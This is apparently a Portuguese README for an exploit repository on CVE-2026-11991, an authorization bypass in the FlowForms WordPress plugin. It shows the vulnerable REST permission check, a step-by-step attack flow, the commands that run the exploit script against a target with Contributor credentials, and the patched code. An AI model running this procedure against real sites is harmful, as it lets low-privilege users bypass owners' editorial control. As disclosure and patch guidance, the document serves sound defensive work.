
Exploit automatizado para CVE-2026-11991, uma bypass de autorização no plugin FlowForms para WordPress que permite que usuários Contributor+ publiquem qualquer formulário em rascunho por meio de requisições REST API elaboradas.
| Propriedade | Valor |
|---|
| ID CVE | CVE-2026-11991 |
| Pontuação CVSS | 6.2 — Média |
| Vetor CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Bypass de Autorização por Chave Controlada pelo Usuário) |
| Produto | FlowForms — Plugin WordPress de Construtor de Formulários Conversacionais |
| Afetado | Todas as versões até e incluindo 1.1.1 |
| Corrigido Em | 1.1.2 |
| Pesquisador | Phantom Hat |
Estudo de caso completo em caixa branca com análise de código-fonte, rastreamento de fluxo de entrada e comparação de patches:
O FlowForms expõe uma API REST sob o namespace flowforms/v1. O endpoint de publicação:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
aceita um {id} controlado pelo usuário no caminho da URL e promove um formulário rascunho para o site ao vivo.
O permission_callback para a rota /publish realiza apenas uma verificação genérica de capacidade:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts é uma capacidade detida por Contribuidores — uma função que o WordPress intencionalmente restringe de publicar conteúdo. Não há verificação alguma de propriedade em relação ao form_id alvo. Qualquer usuário autenticado pode publicar qualquer formulário rascunho no site.
Atacante (Contribuidor) API REST do FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) Autenticar como Contribuidor
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Coletar nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerar formulários rascunho
│<─ "Form Not Published" ───────────│ (resposta não autenticada)
│ │
│── POST /flowforms/v1/forms/ │ (4) Acionar publicação em
│ {id}/publish ─────────────>│ qualquer ID de formulário rascunho
│ │ ← sem verificação de proprietário
│<─ { "success": true } ────────────│
│ │
│ O formulário agora está AO VIVO │ (5) O rascunho contorna o
│ no site sem aprovação editorial │ fluxo de trabalho editorial
Contribuidor no site alvogit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Flag | Descrição | Obrigatório |
|---|---|---|
--url | URL do WordPress alvo | ✅ |
--user | Nome de usuário do WordPress (Contribuidor+) | ✅ |
--password | Senha do WordPress | ✅ |
--num_forms | Número de IDs de formulários a enumerar | ✅ |
--id_start | ID inicial do formulário para enumeração | ✅ |
--proxy | URL do proxy (ex.: http://127.0.0.1:8080) | ❌ |
O exploit executa três etapas automatizadas:
Etapa 1 — Autenticar
Faz login como o atacante (Contribuidor) e coleta um nonce REST API válido do wp-admin.
Etapa 2 — Enumerar Rascunhos
Escaneia GET /flowform/{id} na faixa de IDs especificada. Formulários que retornam "Form Not Published" são coletados como alvos — estes são formulários rascunho sobre os quais o atacante não tem propriedade.
Etapa 3 — Publicar
Envia POST /flowforms/v1/forms/{id}/publish com o nonce do atacante. O endpoint aceita a solicitação, promove o rascunho e torna o formulário ao vivo — sem nenhuma verificação de autorização sobre a propriedade.
| Ação | Detalhes |
|---|---|
| Patch | Substitua a verificação genérica edit_posts por current_user_can('edit_post', $form_id) — o segundo argumento vincula a verificação de capacidade ao objeto de post específico, aplicando as regras de propriedade do WordPress |
| Mitigação | Até que o patch seja aplicado, restrinja as funções Contribuidor e Autor se o plugin estiver ativo |
// VULNERÁVEL
'permission_callback' => fn() => current_user_can('edit_posts'),
// SEGURO (corrigido)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # Exploit refinado com interface rica
├── requirements.txt # Dependências Python
└── README.md # Este arquivo
Esta ferramenta é fornecida apenas para fins autorizados de teste de segurança e pesquisa educacional. O acesso não autorizado a sistemas de computador é ilegal sob as leis aplicáveis em todo o mundo. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Sempre obtenha permissão escrita explícita antes de testar qualquer sistema que você não possua.
Phantom Hat — Pesquisador de Segurança Independente
Esta pesquisa foi conduzida como parte de divulgação responsável de vulnerabilidades.